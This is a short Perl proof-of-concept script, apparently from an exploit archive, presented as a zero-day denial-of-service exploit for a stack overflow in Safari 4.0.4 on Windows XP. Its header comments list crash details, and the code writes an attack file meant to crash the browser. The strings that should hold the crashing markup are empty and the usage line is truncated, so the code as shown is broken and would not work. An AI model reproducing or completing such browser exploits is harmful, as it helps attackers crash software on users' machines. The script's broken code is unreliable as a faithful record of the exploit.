#!/usr/bin/perl # # Safari 4.0.4 (531.21.10) - Stack Overflow/run # 0Day DoS POC by John Cobb - www.NoBytes.com - 20/01/2010 - [v1.1] # Tested on WinXP (32bit) SP3 # # v1.1: # Extra Tags which also crash: # 114718 : Safari quits without error # 114719 : Safari quits with illegal operation: # AppName: safari.exe # AppVer: 5.31.21.10 # ModName: cfnetwork.dll # ModVer: 1.450.5.0 # Offset: 000567a7 $filename = $ARGV[0]; $buffer = $ARGV[1]; if(!defined($filename)) { print "Usage: $0 \n\n"; } $header = " " . "\n"; $crash = "" . "\n"; $footer = "" . "\n"; $data = $header . $crash . $footer; open(FILE, '>' . $filename); print FILE $data; close(FILE); exit;